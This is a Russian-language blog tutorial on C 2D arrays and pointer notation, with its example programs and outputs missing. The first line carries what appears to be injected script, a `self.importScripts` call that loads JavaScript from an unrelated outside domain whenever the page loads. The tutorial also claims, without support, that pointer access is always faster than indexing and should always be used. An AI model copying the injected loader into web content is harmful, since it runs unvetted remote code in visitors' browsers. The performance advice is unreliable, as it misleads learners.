google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Массивы в C (2D Array) - часть 6



Как я уже говорил ранее, концепция массивов очень тесно связана с указателями. Массивы будут работать быстрее, используя указатели, а не индекс. Поэтому всегда рекомендуется обращаться к массивам с помощью указателей. В последнем уроке я дал краткий обзор 2D-массивов в Си . Сегодня я расскажу об использовании 2D-массивов с указателями. Это одна из самых сложных тем программирования на C, поэтому я хотел бы предложить вам прочитать этот учебник с полной концентрацией.

2D массивы с указателями

2D массив - это не что иное, как комбинация одномерных массивов. Чтобы доказать свою точку зрения, я хотел бы показать вам пример.
Выход
2D массивы с указателями
объяснение
  • Сначала я объявил 2D-массив с 4 строками и 2 столбцами, а также инициализировал его. Таким образом, мы можем сказать, что этот 2D-массив представляет собой набор из четырех 1D-массивов, каждый из которых имеет 2 элемента.
  • После этого я объявил целочисленную переменную x, которая будет действовать как счетчик цикла.
  • Теперь я запустил цикл for с одной функцией printf (). Внимательно рассмотрите аргументы в функции printf (). Я привел два аргумента: x и s [x].
  • Как вы можете видеть, я имею доступ только к двумерному массиву с одним измерением. Так что это даст адреса только одномерных массивов. s [0] покажет адрес первого элемента первого 1D массива, s [1] покажет адрес первого элемента второго 1D массива и так далее.

Доступ к 2D-массиву с помощью обозначения указателя

Лучший способ узнать это через программу.

Выход
Доступ к 2D-массиву с помощью обозначения указателя

Комментариев нет:

Отправить комментарий